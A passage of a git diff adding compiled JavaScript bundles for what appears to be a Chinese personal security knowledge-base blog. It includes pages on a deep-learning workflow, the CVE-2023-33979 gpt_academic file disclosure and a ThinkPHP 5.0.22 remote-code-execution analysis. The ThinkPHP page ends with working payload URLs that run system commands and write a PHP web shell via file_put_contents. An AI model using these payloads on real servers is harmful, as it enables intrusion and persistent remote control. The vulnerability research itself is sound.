u9700\u7684\u6837\u672c\u91cf\u5f88\u5927\uff0c\u4e00\u6b21\u52a0\u8f7d\u5168\u90e8\u6570\u636e\u8fd0\u884c\u53ef\u80fd\u4f1a\u8d85\u51fa\u5185\u5b58\u5bb9\u91cf\u800c\u65e0\u6cd5\u5b9e\u73b0\uff1b\u540c\u65f6\u8fd8\u6709\u6279\uff08batch\uff09\u8bad\u7ec3\u7b49\u63d0\u9ad8\u6a21\u578b\u8868\u73b0\u7684\u7b56\u7565\uff0c\u9700\u8981\u6bcf\u6b21\u8bad\u7ec3\u8bfb\u53d6\u56fa\u5b9a\u6570\u91cf\u7684\u6837\u672c\u9001\u5165\u6a21\u578b\u4e2d\u8bad\u7ec3"}),"\uff0c\u56e0\u6b64\u6df1\u5ea6\u5b66\u4e60\u5728\u6570\u636e\u52a0\u8f7d\u4e0a\u9700\u8981\u6709\u4e13\u95e8\u7684\u8bbe\u8ba1\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u6a21\u578b\u5b9e\u73b0\u4e0a\uff0c\u6df1\u5ea6\u5b66\u4e60\u548c\u673a\u5668\u5b66\u4e60\u4e5f\u6709\u5f88\u5927\u5dee\u5f02\u3002\u7531\u4e8e\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u5c42\u6570\u5f80\u5f80\u8f83\u591a\uff0c\u540c\u65f6\u4f1a\u6709\u4e00\u4e9b\u7528\u4e8e\u5b9e\u73b0\u7279\u5b9a\u529f\u80fd\u7684\u5c42\uff08\u5982\u5377\u79ef\u5c42\u3001\u6c60\u5316\u5c42\u3001\u6279\u6b63\u5219\u5316\u5c42\u3001LSTM\u5c42\u7b49\uff09\uff0c\u56e0\u6b64",(0,r.jsx)(e.strong,{children:"\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u5f80\u5f80\u9700\u8981\u201c\u9010\u5c42\u201d\u642d\u5efa\uff0c\u6216\u8005\u9884\u5148\u5b9a\u4e49\u597d\u53ef\u4ee5\u5b9e\u73b0\u7279\u5b9a\u529f\u80fd\u7684\u6a21\u5757\uff0c\u518d\u628a\u8fd9\u4e9b\u6a21\u5757\u7ec4\u88c5\u8d77\u6765"}),"\u3002\u8fd9\u79cd\u201c\u5b9a\u5236\u5316\u201d\u7684\u6a21\u578b\u6784\u5efa\u65b9\u5f0f\u80fd\u591f\u5145\u5206\u4fdd\u8bc1\u6a21\u578b\u7684\u7075\u6d3b\u6027\uff0c\u4e5f\u5bf9\u4ee3\u7801\u5b9e\u73b0\u63d0\u51fa\u4e86\u65b0\u7684\u8981\u6c42\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u662f\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\u7684\u8bbe\u5b9a\u3002\u8fd9\u90e8\u5206\u548c\u7ecf\u5178\u673a\u5668\u5b66\u4e60\u7684\u5b9e\u73b0\u662f\u7c7b\u4f3c\u7684\u3002\u4f46\u7531\u4e8e\u6a21\u578b\u8bbe\u5b9a\u7684\u7075\u6d3b\u6027\uff0c",(0,r.jsx)(e.strong,{children:"\u56e0\u6b64\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\u8981\u80fd\u591f\u4fdd\u8bc1\u53cd\u5411\u4f20\u64ad\u80fd\u591f\u5728\u7528\u6237\u81ea\u884c\u5b9a\u4e49\u7684\u6a21\u578b\u7ed3\u6784\u4e0a\u5b9e\u73b0"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u8ff0\u6b65\u9aa4\u5b8c\u6210\u540e\u5c31\u53ef\u4ee5\u5f00\u59cb\u8bad\u7ec3\u4e86\u3002\u6211\u4eec\u524d\u9762\u4ecb\u7ecd\u4e86GPU\u7684\u6982\u5ff5\u548cGPU\u7528\u4e8e\u5e76\u884c\u8ba1\u7b97\u52a0\u901f\u7684\u529f\u80fd\uff0c\u4e0d\u8fc7",(0,r.jsx)(e.strong,{children:"\u7a0b\u5e8f\u9ed8\u8ba4\u662f\u5728CPU\u4e0a\u8fd0\u884c\u7684"}),"\uff0c\u56e0\u6b64\u5728\u4ee3\u7801\u5b9e\u73b0\u4e2d\uff0c\u9700\u8981\u628a\u6a21\u578b\u548c\u6570\u636e\u201c\u653e\u5230\u201dGPU\u4e0a\u53bb\u505a\u8fd0\u7b97\uff0c\u540c\u65f6\u8fd8\u9700\u8981\u4fdd\u8bc1\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\u80fd\u591f\u5728GPU\u4e0a\u5de5\u4f5c\u3002\u5982\u679c\u4f7f\u7528\u591a\u5f20GPU\u8fdb\u884c\u8bad\u7ec3\uff0c\u8fd8\u9700\u8981\u8003\u8651\u6a21\u578b\u548c\u6570\u636e\u5206\u914d\u3001\u6574\u5408\u7684\u95ee\u9898\u3002\u6b64\u5916\uff0c\u540e\u7eed\u8ba1\u7b97\u4e00\u4e9b\u6307\u6807\u8fd8\u9700\u8981\u628a\u6570\u636e\u201c\u653e\u56de\u201dCPU\u3002\u8fd9\u91cc\u6d89\u53ca\u5230\u4e86\u4e00\u7cfb\u5217",(0,r.jsx)(e.strong,{children:"\u6709\u5173\u4e8eGPU\u7684\u914d\u7f6e\u548c\u64cd\u4f5c"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u6df1\u5ea6\u5b66\u4e60\u4e2d\u8bad\u7ec3\u548c\u9a8c\u8bc1\u8fc7\u7a0b\u6700\u5927\u7684\u7279\u70b9\u5728\u4e8e\u8bfb\u5165\u6570\u636e\u662f\u6309\u6279\u7684\uff0c\u6bcf\u6b21\u8bfb\u5165\u4e00\u4e2a\u6279\u6b21\u7684\u6570\u636e\uff0c\u653e\u5165GPU\u4e2d\u8bad\u7ec3\uff0c\u7136\u540e\u5c06\u635f\u5931\u51fd\u6570\u53cd\u5411\u4f20\u64ad\u56de\u7f51\u7edc\u6700\u524d\u9762\u7684\u5c42\uff0c\u540c\u65f6\u4f7f\u7528\u4f18\u5316\u5668\u8c03\u6574\u7f51\u7edc\u53c2\u6570\u3002\u8fd9\u91cc\u4f1a\u6d89\u53ca\u5230\u5404\u4e2a\u6a21\u5757\u914d\u5408\u7684\u95ee\u9898\u3002\u8bad\u7ec3/\u9a8c\u8bc1\u540e\u8fd8\u9700\u8981\u6839\u636e\u8bbe\u5b9a\u597d\u7684\u6307\u6807\u8ba1\u7b97\u6a21\u578b\u8868\u73b0\u3002"})}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u4ee5\u4e0a\u6b65\u9aa4\uff0c\u4e00\u4e2a\u6df1\u5ea6\u5b66\u4e60\u4efb\u52a1\u5c31\u5b8c\u6210\u4e86\u3002\u6211\u4eec\u5728\u8be6\u7ec6\u8bb2\u89e3\u6bcf\u4e2a\u90e8\u5206\u4e4b\u524d\uff0c\u5148\u68b3\u7406\u4e86\u5b8c\u6210\u5404\u4e2a\u90e8\u5206\u6240\u9700\u7684\u529f\u80fd\uff0c\u4e0b\u9762\u6211\u4eec\u5c31\u53bb\u8fdb\u4e00\u6b65\u4e86\u89e3\u4e00\u4e0bPyTorch\u662f\u5982\u4f55\u5b9e\u73b0\u5404\u4e2a\u90e8\u5206\u7684\uff0c\u4ee5\u53caPyTorch\u4f5c\u4e3a\u4e00\u4e2a\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u62e5\u6709\u7684\u6a21\u5757\u5316\u7279\u70b9\u3002"})]})}function x(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var s=t(96540);const r={},l=s.createContext(r);function i(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:i(n.components),s.createElement(l.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/5e95c892.f07b7b1f.js b/assets/js/5e95c892.f07b7b1f.js new file mode 100644 index 0000000..581c03c --- /dev/null +++ b/assets/js/5e95c892.f07b7b1f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9647],{7121:(e,s,r)=>{r.r(s),r.d(s,{default:()=>n});r(96540);var a=r(34164),l=r(17559),u=r(45500),c=r(22831),o=r(21656),h=r(74848);function n(e){return(0,h.jsx)(u.e3,{className:(0,a.A)(l.G.wrapper.docsPages),children:(0,h.jsx)(o.A,{children:(0,c.v)(e.route.routes)})})}}}]); \ No newline at end of file diff --git a/assets/js/5f437ff5.cc75013a.js b/assets/js/5f437ff5.cc75013a.js new file mode 100644 index 0000000..a4722d6 --- /dev/null +++ b/assets/js/5f437ff5.cc75013a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4661],{5158:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>r,contentTitle:()=>a,default:()=>p,frontMatter:()=>s,metadata:()=>c,toc:()=>l});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","title":"CVE-2023-33979","description":"CVE-2023-33979","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/02.CVE-2023-33979.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/02.CVE-2023-33979.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2023-33246","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246"},"next":{"title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp"}}');var o=t(74848),i=t(28453);const s={},a=void 0,r={},l=[{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"\u653b\u51fb",id:"\u653b\u51fb",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",p:"p",pre:"pre",...(0,i.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.p,{children:"CVE-2023-33979"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsxs)(n.p,{children:["gpt_academic \u4e3a ChatGPT/GLM \u63d0\u4f9b\u56fe\u5f62\u754c\u9762\u3002\u5728 gpt_academic 3.37 \u53ca\u4e4b\u524d\u7684\u7248\u672c\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u6f0f\u6d1e\u3002\u6b64\u95ee\u9898\u4f1a\u5f71\u54cd\u7ec4\u4ef6\u914d\u7f6e\u6587\u4ef6\u5904\u7406\u7a0b\u5e8f\u7684\u67d0\u4e9b\u672a\u77e5\u5904\u7406\u3002\u53c2\u6570\u6587\u4ef6\u7684\u64cd\u7eb5\u5bfc\u81f4\u4fe1\u606f\u6cc4\u9732\u3002\u7531\u4e8e\u6ca1\u6709\u914d\u7f6e\u654f\u611f\u6587\u4ef6\u7981\u6b62\u8bbf\u95ee\uff0c\u90e8\u5206\u5de5\u4f5c\u76ee\u5f55\u4e0b\u7684\u654f\u611f\u4fe1\u606f\u6587\u4ef6\u53ef\u4ee5\u901a\u8fc7",(0,o.jsx)(n.code,{children:"/file"}),"\u8def\u5f84\u8bfb\u53d6\uff0c\u5bfc\u81f4\u654f\u611f\u4fe1\u606f\u6cc4\u9732\u3002\u8fd9\u4f1a\u5f71\u54cd\u901a\u8fc7\u201cconfig.py\u201d\u3001\u201cconfig_private.py\u201d\u3001\u201cDockerfile\u201d\u4f7f\u7528\u6587\u4ef6\u914d\u7f6e\u7684\u7528\u6237\u3002\u8865\u4e01\u53ef\u5728\u63d0\u4ea4 1dcc2873d2168ad2d3d70afcb453ac1695fbdf02 \u83b7\u5f97\u3002\u4f5c\u4e3a\u4e00\u79cd\u89e3\u51b3\u65b9\u6cd5\uff0c\u53ef\u4ee5\u4f7f\u7528\u73af\u5883\u53d8\u91cf\u800c\u4e0d\u662f ",(0,o.jsx)(n.code,{children:"config*.py"})," \u6587\u4ef6\u6765\u914d\u7f6e\u8fd9\u4e2a\u9879\u76ee\uff0c\u6216\u8005\u4f7f\u7528 docker-compose \u5b89\u88c5\u6765\u914d\u7f6e\u8fd9\u4e2a\u9879\u76ee\u3002"]}),"\n"]}),"\n",(0,o.jsx)(n.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-sh",children:"git clone -b version3.36 https://github.com/binary-husky/gpt_academic.git\ncd gpt_academic && python -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/\n# \u586b\u5199\u597d\u5bf9\u5e94\u7684key\u540e\u5373\u53ef\u542f\u52a8\npython main.py\n"})}),"\n",(0,o.jsx)(n.h2,{id:"\u653b\u51fb",children:"\u653b\u51fb"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsxs)(n.p,{children:["poc\uff1a ",(0,o.jsx)(n.a,{href:"https://github.com/wjlin0/poc/blob/main/nuclei/CVE-2023-33979/poc.yaml",children:"CVE-2023-33979.yaml"})]}),"\n"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-text",children:"# nuclei version 2.9.6\n# nuclei -t poc.yaml -u http://www.wjlin0.com\n"})})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,o.jsx)(n,{...e,children:(0,o.jsx)(d,{...e})}):d(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>a});var c=t(96540);const o={},i=c.createContext(o);function s(e){const n=c.useContext(i);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),c.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/5ff91df1.1e40a7d4.js b/assets/js/5ff91df1.1e40a7d4.js new file mode 100644 index 0000000..f411d88 --- /dev/null +++ b/assets/js/5ff91df1.1e40a7d4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9005],{28453:(n,e,i)=>{i.d(e,{R:()=>l,x:()=>h});var s=i(96540);const t={},c=s.createContext(t);function l(n){const e=s.useContext(c);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function h(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:l(n.components),s.createElement(c.Provider,{value:e},n.children)}},91260:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>r,contentTitle:()=>h,default:()=>o,frontMatter:()=>l,metadata:()=>s,toc:()=>p});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/01.Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/01.Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u7ebf\u68c0\u67e5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/"},"next":{"title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316"}}');var t=i(74848),c=i(28453);const l={},h=void 0,r={},p=[{value:"\u5f71\u54cd\u7248\u672c",id:"\u5f71\u54cd\u7248\u672c",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"Payload",id:"payload",level:2}];function d(n){const e={a:"a",blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:46:45"})]})})]}),"\n",(0,t.jsx)(e.p,{children:"\u200b\t\t\u7531\u4e8e\uff0cthinkphp 5.0.23 \u4ee5\u53ca5.1.31 \u4e4b\u524d\u7684\u7248\u672c\u90fd\u672a\u5f3a\u5236\u5f00\u542f\u8def\u7531\uff0c\u6240\u4ee5\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u63d0\u4ea4\u6076\u610f\u53c2\u6570\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"}),"\n",(0,t.jsx)(e.h2,{id:"\u5f71\u54cd\u7248\u672c",children:"\u5f71\u54cd\u7248\u672c"}),"\n",(0,t.jsx)(e.p,{children:"\u200b\t\tthinkphp \u5f53\u524d\u7248\u672c< 5.0.22"}),"\n",(0,t.jsx)(e.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.p,{children:["get\u8bf7\u6c42 ",(0,t.jsx)(e.code,{children:"index.php?s=index/think\\app/invokefunction&function=system&vars[0]=dir&vars[1][]="})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"1\uff09\u4ece\u5165\u53e3index.php \u9996\u5148\u4f1a\u6765\u5230 thinkphp \u7684\u521d\u59cb\u5316\u6587\u4ef6"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"thinkphp/library/think/App.php -> run() "})}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646809.png",alt:"image-20220321153031865"})}),"\n",(0,t.jsx)(e.p,{children:"2\uff09\u56e0\u4e3a\u6f0f\u6d1ePOC\u4e0e\u6846\u67b6\u7684url\u5904\u7406\u6709\u5173\uff0c\u6240\u4ee5\u76f4\u63a5\u8ddf\u5230URL\u8def\u7531\u68c0\u6d4b\u51fd\u6570"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp/library/think/App.php -> run() "})," 116"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646810.png",alt:"image-20220321153239864"})}),"\n",(0,t.jsx)(e.p,{children:"3\uff09\u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u4f1a\u68c0\u6d4b url\u53c2\u6570\uff0c\u901a\u8fc7\u53c2\u6570\u8bbf\u95ee\u7c7b\u6216\u8005\u65b9\u6cd5 \u6216\u8005\u6a21\u677f"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"thinkphp/library/think/App.php-> routeCheck()"}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u8be5\u65b9\u6cd5\u4e2d\uff0c\u7b2c620\u884c \u8c03\u7528",(0,t.jsx)(e.code,{children:"$request->path()"})," \u8fd4\u56de\u4e86 url\u4e2d\u7684s\u53c2\u6570\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646811.png",alt:"image-20220321154826904"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"\t\u7b2c643 \u4f1a\u89e3\u6790\u8def\u7531\uff0c\u5982\u679c \u6ca1\u6709\u7528\u8def\u7531\u4f1a\u8fd4\u56defalse \n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646812.png",alt:"image-20220321155231182"})}),"\n",(0,t.jsx)(e.p,{children:"\u200b\t\t\u7b2c 654\u884c \u5f53\u4e3a\u65e0\u6548\u8def\u7531\u65f6\uff0c\u4f1a\u53bb\u89e3\u6790\u517c\u5bb9\u8def\u7531\uff0c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646813.png",alt:"image-20220321155428658"})}),"\n",(0,t.jsxs)(e.p,{children:["4\uff09\u8ddf\u8fdb ",(0,t.jsx)(e.code,{children:"Route::parseUrl"})]}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp/library/think/Route.php->parseUrl()"})," 1217"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646814.png",alt:"image-20220321155637197"})}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u8be5\u65b9\u6cd5\u4e2d\uff0c\u5728\u7b2c1225\u884c \u4f1a\u5c06$url \u5373s\u53c2\u6570\u4e2d\u7684\u503c\uff0c",(0,t.jsx)(e.code,{children:"/"})," \u66ff\u6362\u6210",(0,t.jsx)(e.code,{children:"|"}),",\u7528\u4e8e\u89e3\u6790 \u6a21\u677f| \u63a7\u5236\u5668|\u64cd\u4f5c|\u53c2\u6570"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646815.png",alt:"image-20220321160229396"})}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u6700\u7ec8\uff0c\u5f80\u56de\u8d70\uff0c\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9 ",(0,t.jsx)(e.code,{children:"$result"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646816.png",alt:"image-20220321161309138"})}),"\n",(0,t.jsx)(e.p,{children:"5\uff09\u6700\u7ec8\u56de\u5230run()\u65b9\u6cd5\u4e2d\uff0c"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"thinkphp/library/think/App.php > run() 139"}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u5728",(0,t.jsx)(e.code,{children:"self::exec()"})," \u5c06\u83b7\u5f97\u7684 ",(0,t.jsx)(e.code,{children:"$dispatch"})," \u505a\u64cd\u4f5c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646817.png",alt:"image-20220321161642624"})}),"\n",(0,t.jsxs)(e.p,{children:["6\uff09\u7ee7\u7eed\u8ddf\u8fdb\uff0c\u7531\u4e8e ",(0,t.jsx)(e.code,{children:"$dispatch"})," \u4e2d\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\uff0c",(0,t.jsx)(e.code,{children:"'module'"}),"\u5219\u4f1a\u53bb\u8c03\u7528\uff0c",(0,t.jsx)(e.code,{children:"self::module"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646818.png",alt:"image-20220321161927364"})}),"\n",(0,t.jsxs)(e.ol,{start:"7",children:["\n",(0,t.jsx)(e.li,{children:"\u5728self::module \u7b2c585\u884c\u4f1a\u505a\u5bf9\u6bd4\uff0c\u770b\u6a21\u677f\u65b9\u6cd5\u662f\u5426\u5b58\u5728\uff0c\u5b58\u5728\u5219\u4f1a\u8fdb\u5165if\u8bed\u53e5\u4e2d"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646819.png",alt:"image-20220321162809024"})}),"\n",(0,t.jsxs)(e.p,{children:["8.\u6700\u540e\u8fd4\u56de\u503c\uff0c\u8c03\u7528",(0,t.jsx)(e.code,{children:"self::invokeMethod"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646820.png",alt:"image-20220321162853374"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8be5\u65b9\u6cd5\u4e2d\u4f1a\u751f\u6210ReflectionMethod\u5bf9\u8c61\uff0c\u6700\u540e\u7684\u8fd4\u56de\u503c\uff0c\u8c03\u7528 ReflectionMethod\u5bf9\u8c61\u7684invokeArgs \u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u4f1a\u56de\u8c03\u4e00\u4e2a\u65b9\u6cd5 \u5373 $args\u6570\u7ec4\u7684\u7b2c\u4e00\u4e2a\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"invokeFunction"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646821.png",alt:"image-20220321165756665"})}),"\n",(0,t.jsx)(e.p,{children:"9\uff09\u6700\u540e\u5728InvokeFunction \u65b9\u6cd5\u6267\u884c\u5371\u9669\u51fd\u6570"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646822.png",alt:"image-20220321170004451"})}),"\n",(0,t.jsx)(e.p,{children:"\u6ce8\uff1a\u5173\u4e8e\u5728ReflectionMethod\u7684\u4f7f\u7528\u53ef\u53c2\u8003"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://www.php.net/manual/zh/class.reflectionmethod.php",children:"PHP: ReflectionMethod - Manual"})}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"payload",children:"Payload"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"http://localhost/index.php?s=index/think\\app/invokefunction&function=system&vars[0]=whoami&vars[1][]=\n\nhttp://localhost/index.php?s=index/think\\app/invokefunction&function=call_func_user_array&vars[0]=system&vars[1][]=whoami\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"http://localhost/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=sad.php&vars[1][1]=<?php eval($_POST[cmd])?>\n"})})]})}function o(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/assets/js/615e97e2.97afa578.js b/assets/js/615e97e2.97afa578.js new file mode 100644 index 0000000..d8248fe --- 